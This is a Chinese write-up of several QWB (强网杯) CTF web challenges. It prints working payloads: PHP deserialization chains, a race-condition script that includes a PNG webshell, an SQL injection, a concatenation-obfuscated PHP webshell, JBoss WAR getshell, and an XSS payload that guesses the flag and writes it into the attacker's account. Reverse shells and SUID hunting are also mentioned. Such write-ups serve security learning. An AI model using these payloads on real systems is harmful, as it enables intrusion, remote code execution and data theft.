今年强网杯题目都很好,只有几个体验较差,还有就是题太多好几道web都没怎么打开看。

赌徒

印象中是一个反序列化套娃题,flag在根目录所以直接能读到。

http://eci-2zeafbcf67aly1j8y3yn.cloudeci1.ichunqiu.com/?hello=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3Bi%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A15%3A%22I+will+not+%21%21%21%21%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fetc%2Fhint%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1%2Fetc%2Fhint%22%29%3B%22%3B%7D

寻宝

也是套娃题

ppp[number1]=111111a&ppp[number2]=1e9&ppp[number3]=aat74Cz&ppp[number4]=a000000&ppp[number5]={ 得到key1 下面代码得到key2的位置

#读取docx中的文本代码示例
import docx
import base64
import os

dirs = os.listdir('.')
for dir in dirs[:-1]:
    files = os.listdir(dir)
    for file in files:
        ddname = dir + '/' + file
        fs = os.listdir(ddname)
        for f in fs:
            true_name = ddname + '/' + f

            print(true_name)
            if '$' in true_name:
                continue
            file1=docx.Document(true_name)
            assert(1 == len(file1.paragraphs))

            #输出每一段的内容
            content = b''
            for para in file1.paragraphs:
                #print(len(para.text))
                try:
                    content = base64.b64decode(para.text + '=')
                except:
                    pass

                if b'KEY' in content:
                    print('suc')
                    exit()

WhereIsUWebShell

看源码,可以读文件

img

当属性为空时,属性值反序列化之后不会赋值到对象上,这样就能绕过myclass的限制

payload如下

img

45b963397aa40d4a0063e0d85e4fe7a1.php

<?php

function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

?>

e2a7106f1cc8bb1e1318df70aa0a3540.php

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['3a4b1265-f157-422e-ae05-a5df0eaf9455'])?$_GET['3a4b1265-f157-422e-ae05-a5df0eaf9455']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['be30af3e-ff7f-4782-a135-7dadd4b20d7c']);
if(isset($_GET['be30af3e-ff7f-4782-a135-7dadd4b20d7c'])&&$_GET['be30af3e-ff7f-4782-a135-7dadd4b20d7c']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

bff139fa05ac583f685a523ab3d110a0.php

<?php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>

最后上传gd不变形的png图片马,再条件竞争包含。

竞争脚本

import requests
import re
from threading import Thread

url = 'http://eci-2ze3rbnvegbbcyjmuz4p.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?f4834967-2706-4f6a-abde-1bda080d5c20=1&9383df8b-8309-42da-b2ec-3d193c10260b=/tmp/'

url1 = 'http://eci-2ze3rbnvegbbcyjmuz4p.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?f4834967-2706-4f6a-abde-1bda080d5c20=/tmp/'

def getflag(file):
    url1 = 'http://eci-2ze3rbnvegbbcyjmuz4p.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?f4834967-2706-4f6a-abde-1bda080d5c20=/tmp/'
    url1 = url1 + file
    # cat /l1b/ec0d9444/ee622c1c/ec4dac24/53360952/6c0e7a0f/Fl444ggg9ac8f1b0
    data = {
        '1': "system('');"
    }
    res1 = requests.post(url1, data=data)
    print(res1.text)
    if(len(res1.text)>2000):
        print('success')


while True:
    res = requests.get(url)
    pa = re.compile('(php[\w]{6})')
    r = pa.findall(res.text)
    #print(res.text)
    if(r):
        print(r)
        for i in r:
            t = Thread(target=getflag, args=(i, ))
            t.start()

burp多线程

image-20210616164048702

反弹shell,找suid文件,读flag

img

easy_web

根据hint进行端口扫描

nmap 47.104.137.239 -p 35000-40000

36842端口注入:

username=123' or updatexml(1,concat('~', right((select 
group_concat(password) from employee),30)),1);%23&password=321

后台文件上传,存在危险函数名过滤,拼接绕过:

<?php
$a = 'sys'.'tem';
$a($_GET['dig2']);

拿到shell

发现存在root权限jboss进程,低版本 jboss上传war包getshell

img img

pop_master

这题我还在写静态分析时学弟就已经通过正则匹配然后广度优先搜索算出来了。

从入口函数开始,做bfs,终结状态为函数中有eval函数且参数可控(通过正则判断)

将队列中的类提取出来,然后用反射构造反序列化链

最后eval时,因为在参数argv后面跟了许多无用字符,注释一下即可。例如:

?pop=...&argv=system('whoami');//

代码:

<?php
// error_reporting(0);
include "qwb/unser.php";

$content = file_get_contents("qwb/unser.php");
$sources = explode(PHP_EOL.PHP_EOL.PHP_EOL, $content);

$classes = get_declared_classes();
$classes = array_slice($classes, 137);

class C {
    public $c_n;
    public $f_n;
    public $c_i;
    public $last;
    public function __construct($a, $b) {
        $this->f_n = $a;
        $this->last = $b;

        for ($i = 0; $i < 10000; $i++) {
            global $classes;
            $mm = get_class_methods($classes[$i]);

            if(in_array($a, $mm)){
                $this->c_n = $classes[$i];
                $this->c_i = $i;
            }

        }
    }
}


$queue = [];
$head = 0;
$tail = 0;
$queue[$tail++] = new C('Y5Hrkg', -1);
// $queue[$tail++] = new C('bil5lv', -1);

// $class_src = $sources[$queue[$head]->c_i];
$res = [];
$flag = 0;
while($head < $tail) {
    $now_f = $queue[$head];
    $regex = '/' . 'this->([\w\d]*)->([\w\d]*)'. '/s';

    $class_src = $sources[$now_f->c_i];
    $cf_srcs = explode(PHP_EOL.PHP_EOL, $class_src);

    for ($i = 0; $i < count($cf_srcs); $i++) {
        if (strstr($cf_srcs[$i], $now_f->f_n)) {
            $fun_src = $cf_srcs[$i]; 

            if (strstr($cf_srcs[$i], 'eval')) {

                preg_match('/function.*\(\$(.*)\)/', $cf_srcs[$i], $fuck);
                // print_r($fuck[1]);
                if (preg_match('/' . $fuck[1]. '= \$[\w\d]*;' . '/', $cf_srcs[$i])) {
                    continue;
                }
                if (preg_match('/' . $fuck[1]. "='[\w\d]*';" . '/', $cf_srcs[$i])) {
                    continue;
                }

                // echo $now_f->f_n.PHP_EOL;
                array_unshift($res, $now_f);

                $ttt = new $now_f->c_n;
                $last = $now_f->last;


                while($last != -1) {
                    // exit;
                    $tmp = $queue[$last];
                    // echo $tmp->f_n.PHP_EOL;
                    array_unshift($res, $tmp);


                    $next_c = $tmp->c_n;
                    $ggg = new $next_c;
                    $reflect = new ReflectionClass($next_c);
                    $props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC);
                    foreach ($props as $prop) {
                        $prop->setAccessible(true); 
                        $prop->setValue($ggg ,$ttt); 
                    }
                    $ttt = $ggg;


                    $last = $tmp->last;



                }
                $ggg->Y5Hrkg('system("whoami");');
                echo urlencode(serialize($ggg));
                exit;
                $flag = 1;
                break;

            }
        }
    }
    if ($flag) break;

    preg_match('/function.*\(\$(.*)\)/', $fun_src, $fuck);
    if (preg_match('/' . $fuck[1]. '= \$[\w\d]*;' . '/', $fun_src)) {
        $head = $head + 1;
        continue;
    }
    if (preg_match('/' . $fuck[1]. "='[\w\d]*';" . '/', $fun_src)) {
        $head = $head + 1;
        continue;
    }



    preg_match_all($regex, $fun_src, $match);
    for ($i = 0; $i < count($match[2]); $i++) {
        $queue[$tail++] = new C($match[2][$i], $head);
    }
    $head = $head + 1;

}

EasyXSS

此题体验极差,给bot访问url甚至需要竞争,思路出来了花了几个小时才试出来。注册登陆,发现xss点

img

hint处发现/flag需要admin访问然后按位猜测flag

app.all("/flag", auth, async (req, res, next) => {
    if (req.session.isadmin && typeof req.query.var === 'string') {
        fs.readFile('/flag', 'utf8', (err, flag) => {
            let flagArray = flag.split('');
            let dataArray = req.query.var.split('');
            let check = true;

            for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {
                if (dataArray[i] !== flagArray[i]) {
                    check = false;
                    break
                }
            }
            if (check) {
                res.status(200).send(req.query.var);
            }
            else {
                res.status(500).send('Keyword Error!');
            }
        });
    } else {
        res.status(500).send('Sorry, you are not admin!');
    }
}); 

现在让bot访问我们的url,我们可以利用xss猜测出flag值。

csp限制无法通过xss将猜测得到的flag传出。但是本题还存在write功能,可以让bot猜测出flag之后通过login接口登陆我们的账号,然后通过write接口将flag写到我们的账号内。

最后注意得reload一下登陆后的cookie才会生效。payload:

qqq";window.f="flag{";cs="-}abcdef0123456789".split("");for(j=0;j!=36;j%2b%2b){try{cs.forEach(function(c,index){$.ajax({url:"/flag?var="%2bwindow.f%2bc,async:false,success:function(msg){window.f=msg;localStorage.setItem("JrXnm",msg);throw(1);}});})}catch(e){}};$.ajax({type:"post",url:"/lo"%2b"gin",data:{username:"224",password:"22222",submit:"submit"}});$.ajax({type:"post",url:"/wr"%2b"ite",async:false,data:{title:"ooooooooooooooooooo",content:"qwb:"%2blocalStorage.JrXnm}});location.reload();//
img